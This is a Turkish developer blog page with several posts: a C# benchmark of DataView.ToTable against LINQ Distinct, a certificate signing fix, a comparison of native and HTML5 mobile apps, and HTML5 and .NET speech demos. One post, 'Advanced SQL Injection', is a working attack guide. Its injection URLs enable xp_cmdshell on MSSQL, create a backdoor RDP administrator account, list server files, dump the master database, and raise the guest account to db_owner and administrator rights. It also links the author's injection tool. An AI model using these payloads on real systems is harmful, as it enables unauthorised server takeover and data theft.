12 Ocak 2013 Cumartesi

Distinct : DataView.ToTable Vs Linq


Büyük veriler üzerinde işlem yaparken, kullandığımız yönteme çok dikkat etmeliyiz.

Projelerden birinde 350.000 satırlık veri kümesi üzerinde işlemler yapıp, düzenli bir veri modeline dönüştüreceğim. işlemler sırasında Distinct() işlemi uygulamam gerekmekteydi. 2 yöntem kullanarak işlemi gerçekleştirdim ve aralarındaki uçurum inanılmaz farklı çıktı.

Distinct -> DataView.ToTable Vs Linq

veri sayımız küçük olduğunda DataView.ToTable ile işlem yapmasında performanse çok sorun oluşturmuyor gibi. ama veri kümesi arttıkça inanılmaz bir yavaşlama söz konusu. bu yavaşlamayı en kolay linq ile kolaylıkla çözmekteyiz.

Performans test kodları ve sonuçları;


data.DefaultView.ToTable(true, "Id", "Name", "Role", "DC1", "DC2", "DC3", "DC4", "DC5", "DC6", "DC7");
VS
data.AsEnumerable().Distinct(System.Data.DataRowComparer.Default).ToList();

Veri kümemizi oluşturma işlemi;
private static DataTable GenerateTable(int noOfRows, int modules)
{
    DataTable dt = new DataTable();
    dt.Columns.Add("Id", typeof(int));
    dt.Columns.Add("Name", typeof(string));
    dt.Columns.Add("Role", typeof(string));
    dt.Columns.Add("DC1", typeof(string));
    dt.Columns.Add("DC2", typeof(string));
    dt.Columns.Add("DC3", typeof(string));
    dt.Columns.Add("DC4", typeof(string));
    dt.Columns.Add("DC5", typeof(string));
    dt.Columns.Add("DC6", typeof(string));
    dt.Columns.Add("DC7", typeof(string));

    for (int i = 0; i < noOfRows; i++)
    {
        int id = i % modules;
        dt.Rows.Add(new object[] { id, "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString(), "Test" + id.ToString() });
    }
    return dt;
}

Performans hesaplama kısmı;
 
static void Main(string[] args)
{
    Display display = null;
    for (int i = 1; i < 1000; i += 100)
    {
        DataTable data = GenerateTable(1000 * i, 10 * i);

        display = new Display();

        sw.Start();
        DataTable distictData = data.DefaultView.ToTable(true, "Id", "Name", "Role", "DC1", "DC2", "DC3", "DC4", "DC5", "DC6", "DC7");
        display.ItemsInfo = data.Rows.Count + "/" + distictData.Rows.Count;
        display._ToTable = sw.ElapsedMilliseconds;
        sw.Stop();

        sw.Restart();
        var result = data.AsEnumerable().Distinct(System.Data.DataRowComparer.Default).ToList();
        display._Linq = sw.ElapsedMilliseconds;
        sw.Stop();

        list.Add(display);
    }

    writeConsole();

    Console.ReadKey();
}
 
private static void writeConsole()
{
    Console.WriteLine("ItemCount/DistinctItem  |  DataView ToTable   |   Linq");
    foreach (Display d in list)
    {
        Console.WriteLine(string.Format("         {0}            |         {1}         |   {2}", d.ItemsInfo, d._ToTable, d._Linq));
    }
}

Sonuçlar milliseconds olarak verilmektedir.

Bunun dışında Microsoft un yayınladığı bir makale daha var. Genel performans için dikkat edilmesi gerekenler.

Performance Tips and Tricks in .NET Applications -> http://msdn.microsoft.com/en-us/library/ms973839.aspx

7 Ocak 2013 Pazartesi

Gelişmiş SQL Enjeksiyon İşlemleri (Advanced Sql Injection)

Yazımda en çok bilinen standart sql injection komutlarından bahsetmek yerine onlarla ilgili çok eskiden yazdığım dökümanları en aşağıda yayınlamaktayım.

Bu seferki yazımda Sql injection ile MSSQL üzerinde sınırları zorlayacağız. :) örneğin cmdshell komutu üzerinden RDP kullanıcı oluşturma, dosya dizinlerine erişme, ping işlemleri vs.. en önemlisi ise mevcut güvenlik önlemlerini aşarak :) bu işlemleri kolaylıkla yapıyor olmak.

Öncelikle xp_cmdshell yetkisi kontrolü yapalım.

 viewdetail.aspx?test=22';EXEC xp_cmdshell 'ping 127.0.0.1';--

SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', see "Surface Area Configuration" in SQL Server Books Online.

şekilde hata alabiliriz. 'xp_cmdshell' için gerekli izinleri verelim ;) aşağıdaki komut satırlarını sırası ile uygulayalım.

viewdetail.aspx?test=22';EXEC sp_configure 'show advanced options',1;RECONFIGURE;--

viewdetail.aspx?test=22';EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--

gerekli izinler, paremtreler düzenlenmiş oldu. :) hadi hemen RDP kullanıcı açalım. arkasından kullanıcımızı administrator grubuna ekliyelim.

viewdetail.aspx?test=22';exec master..xp_cmdshell 'net user ejder ejder /add';--

viewdetail.aspx?test=22';exec master..xp_cmdshell 'net localgroup administrators ejder /add';--

site üzerinde uyguladığımızda hata döndürmedi ise :) sorunsuz işliyor demektir. şimdi rdp ile bağlanmak için son adım kalıyor. o da CMD üzerinden "ping www.hedefsite.com" yazdığımızda çıkan IP adresine RDP ile bağlanmaktır. Kullanıcı Adı: ejder, şifre: ejder

"xp_cmdshell" üzerinden dilediğimizi yapabiliriz :) sunucu üzerinde "dir c:\" yazıp dosya sistemine erişebilirsiniz. db backup, dosya yaratma vs... Fakat rdp oluşturunca bu kadar kasmaya gerek bile kalmıyacak. herşey elinizin altında olacak :)

örnek;

viewdetail.aspx?test=22';drop table zEj create table zEj(ID int identity,Str varchar(1000)) insert into zEj exec master..xp_cmdshell 'dir /b C:\';--

bu örneğimizde C dizinindeki sonucu , zEj tablosuna yazdırıyorum. ordan datayı okuyup, bilgiye ulaşabiliriz.

Database in backup olarak almak için;

viewdetail.aspx?test=22';BACKUP database master to disk='1.zip';--


"OpenRowset/OpenDatasource" işlemleri için gerekli izin ve paremetrelerin sırası ile çalıştırılması gerekmektedir.

viewdetail.aspx?test=22';exec sp_configure 'show advanced options',0;RECONFIGURE;--
viewdetail.aspx?test=22';exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE;--
viewdetail.aspx?test=22';exec sp_configure 'Ad Hoc Distributed Queries',0;RECONFIGURE;--

Evet, şimdide Guest hesabı , DB_OWNER olarak değiştirmek :) BUILTIN\ADMINISTRATORS grubuna ekleme işlemi sırasıyla;

viewdetail.aspx?test=22';exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers'

exec sp_msdropretry 'xx update sysusers set sid=0×01 where name="dbo"','xx' exec sp_msdropretry 'xx update dbo.test set sid=0×01,roles=0×01 where name=”guest"','xx' exec sp_executesql N'drop view dbo.test'--

viewdetail.aspx?test=22';exec sp_executesql N'create view dbo.test as select * from master.dbo.sysxlogins' exec sp_msdropretry 'xx update sysusers set sid=0×01 where name="dbo"','xx' exec sp_msdropretry 'xx update dbo.test set xstatus=18 where name="BUILTIN\ADMINISTRATORS"','xx' exec sp_executesql N'drop view dbo.test'--


Sql injection dökümanı için -> https://docs.google.com/open?id=0ByRFI3ULXVPuTlJZUmlDNVdwMW8

 5 sene önce yazdığım Sql injection yazılımı, dökümanı ve anlatım videosu ektedir.. https://rapidshare.com/files/2167494494/SqlInjv2.rar  video için ise aşağıdadır.


Öner KAYA

19 Aralık 2012 Çarşamba

Unable to find manifest signing certificate in the certificate store

Bilgisayarımıza format ya da mevcut bir .Net projemizi kopyalayıp, başka yerde açıp, derlemek istediğimizde aşağıdaki hatayı verir.

"Unable to find manifest signing certificate in the certificate store"

Bu hata yüzünden derlemenize izin vermiyecektir.


Çözüm olarak;


Solution Explorer'dan projemize sağ tıklayıp oradan Properties sekmesine tıklarız. Açılan pencereden Signing sekmesine gelip "Create Test Certificate" butonuna tıklarsak, sorunun çözüldüğünü görürüz.


4 Kasım 2012 Pazar

Mobil Uygulamalar için Native(doğal) diller mi yoksa Web-Html5 mi ?


Mobil uygulamalar hızla yaygınlaşmakta ve ihtiyaç haline gelmektedir. Mevcut hizmetlerin artık mobile olarak hizmet verebiliyor olması ihtiyaç haline gelmeye başladı. Peki uygulamaların geliştirilmesi aşamasında nasıl bir yol izlenmeli?

Geliştiricilerin gerçekleştirecekleri uygulamaların özelliklerine göre en iyi seçimi yapmalıdır.Uygulamayı  Web- based ( web tabanlı) ya da HTML5 olarak geliştirmek  daha hızlı ve  farklı cihazlar için uygulama gerçekleştirmiş olacaktır. Fakat native (doğal) yazılımlar  -> (Objective-C  Apple iOS için , Java Google Andorid )  cihazların tüm özelliklerini kullanmalarını sağlamaktadır. Son durum ise bu iki seçeneği birlikte kullanma yoluda vardır. Appcelerator Titanium gibi geliştirici yazılımlar sayesinde yazdığımız javascipt bir uygulamayı native kod lara dönüştürmektedir.

Html5 özetle ; HTML in yeni sürümüdür. CSS3 ve JavaScript/JQuery ile doğal (Native) olarak çalışması, bütün browser ve cihazlar tarafından desteklenmektedir. Ayrıca video-ses, geolocation, web storage gibi özellikleri barındırması ona kolay kullanılabilir güçlü ve kullanışlı bir yapı sunuyor. Örnek 50 Html uygulama: http://www.creativebloq.com/web-design-tips/examples-of-html5-1233547

İhtiyacımıza göre en uygun yöntemi seçmeliyiz. Her birinin birbirlerine göre avantajları ve dezavantajları bulunmaktadır.

Web - Html5  mobil uygulama;
  • Geliştirmesi daha kolay ve daha az masraflıdır.
  • Tüm browserlar tarafından desteklenmektedir. Bu özelliği ile platform bağımsızlığı, çoklu cihaz desteği sağlamaktadır.
  • Canlı (online) sistemlerdir.
  • Html5 in özellikleri doğrultusunda cihaz özelliklerini kullanabilir, cihazın özelliklerini kullanma konusunda sınırlı özelliğe sahiptir.
  • Uygulamanın son kullanıcı tarafından indirilmesine gerek yoktur. Uygulama güncellemesi , son kullanıcıyı engellemiyecektir.
  • Uygulama için web-servis e gerek olmıyabilir. Direk bulunduğu sunucu içersinde veritabanı erişimlerini yapabilir.

Native dil ile yazılmış uygulama;
  • Geliştirmesi daha zor ve daha masraflıdır.
  • Her cihaz için ayrı uygulama yazılması söz konusudur. Platform bağımlıdır.
  • Cihazın tüm özelliklerini kullanabilirsiniz. Bu sayede yüksek performance  ve daha gelişmiş uygulamalar yazılabilinir. Örneğin iOS daki siri uygulamasını sesli komut özelliği ile uygulamanızı daha eşsiz hale getirebilirsiniz.
  • Çevrimdışı (ofline) çalışabilmektedir.
  • Uygulamanın son kullanıcı tarafından indirip, yüklemesi  zorunludur. Güncelleme işlemide manueldir.
  • Online uygulamaların veri tabanı erişimi için web servisleri ile haberleşmesi gerekmektedir.

.. gibi listeleyebiliriz.

Aklıma E-ticaret siteleri geldi.  E-ticaret siteleri için en uygun olanı bence Html5 dir. Çünkü tüm bilgi ve erişimler sunucu üzerinde olacaktır. Kredi kartı işlemleri, 3D desteği, https protokolü derken daha güvenilir ve kontrol altındadır. Sistemde sorun meydana çıktığında ani müdahale ve güncelleme söz konusu olacaktır. Canlı sistem olduğundan daha hızlı sonuç , kontrol tek noktada ve tek yerden dağıtım.  Eğer Native dil ile yazıldığında farklı cihazlar için uygulamanın dağıtılması ve güvenlik anlaşmaları yapılması gerekmektedir. Uygulama güncellemesi çıktığında, son kullanıcılar dilerse yapmıyabiliyor.

Bence yazılacak uygulamanın özelliğine göre o uygulama için en iyi yönteme başvurulmalıdır.

Öner KAYA

25 Ekim 2012 Perşembe

Html5 - Speech Search (Web)

Merhabalar,

Web ortamında çok basit bir şekilde HTML5 ile gelen ve chrome - firefox  desteklediği webkit-speech  özelliğinden bahsedeceğim.

Alışveriş sitesindeyiz ve aramayı konuşarak yapıyoruz. çok güzel olmaz mıydı? bir önceki yazımda windows tabanlı TextToSpeech - SpeechToText (http://onerkaya.blogspot.com/2012/10/myspeech-texttospech-speechtotext.html işlemlerini destekleyen bir uygulama gerçekleştirmiştim. bu sefer Web tarafında Html5 in nimetlerinden yararlanma zamanı geldi bile ;)

İşin özü : <input type="text" x-webkit-speech="x-webkit-speech" lang="tr" />

Ufak bir aspx dosyası ve speech ile gelen değeri , iframe içersinde yahoo üzerinde aratmaktadır :) aşağıda kod örneği ve sırası ile ekranlar bulunmaktadır.





Bunun için browser desteğinin olması gerekmektedir. http://blogs.sitepointstatic.com/examples/tech/speech-input/index.html bu adresten online speech - webkit özelliğini chrome ile test edebilirsiniz. şu an benim uyarlamamda dil parametresi TR dir. Gayet başarılı sonuçlar döndürmektedir.

http://www.webkit.org/ adresinden gerekli gelişmiş bilgileri edinebilirsiniz.

Uygulamamızın kaynak kodları :  https://docs.google.com/file/d/0ByRFI3ULXVPuem1EcUlHTDlrWVE/edit?usp=sharing

Html5 ile ilgili daha detaylı, yenilikleri ile sizlerle tekrar olacağım.

Öner KAYA

MySpeech - TextToSpeech & SpeechToText ;)

Geçen ofiste muhabbeti oldu. Konuştuğumuzu kolaylıkla nasıl yazıya dökeriz, bunu WEB ortamında nasıl sağlarız şeklinde. Kolay olduğunu biliyordum ve ufak bir araştırma yapıp hemen basit bir uygulama gerçekleştirdim. Sizinle bunu paylaşıyor olacağım.

Anlatacağım uygulamanın özelliği; yazdığımız yazıyı seslendirmek, konuştuğumuzu yazıya aktarmak. Ayrıca WEB ortamı için sesli arama özelliğini nasıl kolaylıkla yeni teknoloji olan HTML5 ile yapacağımızı anlatacağım.

Öncelikle .Net in System.Speech kütüphanesini, TextToSpeech için SpeechSynthesizer, SpeechToText işlemim için SpeechRecognitionEngine sınıflarını kullanmaktayım.


TextToSpeech işlemi için;
 SpeechSynthesizer nesnesini yönetmek ve her seferinde aynı sınıfı kullanmak için SingleTon tasarım desenini kullanarak TextToSpeech sınıfı oluşturdum. Dispose işlemi ise, OnFormClosing işlemi sırasında yapmaktayım.



SpeechToText işlemi için;
SpeechRecognitionEngine sınıfını kullanmaktayım.Aynı sınıfı her seferinde ulaşmak için singleton tasarım desenini kullandım. Konuştuğumuzu algılayabilmesi için ilgili dil paketine uygun kelime (grammer) listesi ile sınıfımızı beslememiz gerekmektedir. grammer.txt dosyasını oluşturdum.2 durum var.ilk durum kelime ya da cümle olması, diğer durum ise program tanımlanmasıdır. 'running' diyerek program modunu açıyoruz. sonrasında çalışmasını istediğiniz program adını söylüyorsunuz :) Bu tarz tanımlama örneklerim grammer.txt içersinde mevcut. Daha da zenginleştirilebilir. hatta comma diyince "," ataması şeklinde tanımlamalarda yapılabilinir, desteklenebilir. artık gerisi size kalmış :)






SpeechRecognitionEngine sınıfının eventler yardımı ile ses sisteminden gelen ses yüksekliğini ve yakalanan kelimeleri yakalamaktayım. bu şekilde form tarafında görüntüleme ya da program çalıştırma işlemi yapmaktayım.




Programımız kullanıma hazır. İndirmek için - https://docs.google.com/file/d/0ByRFI3ULXVPuRzZRMUJLSDFRSlE/edit?usp=sharing

Dilediğiniz gibi kullanabilir, geliştirebilir, örnekliyebilirsiniz.

Html5 ile web ortamında sesli arama yapmak için ayrı bir yazı yazdım. ulaşmak için; http://onerkaya.blogspot.com/2012/10/html5-speech-search-web.html .;)

Öner KAYA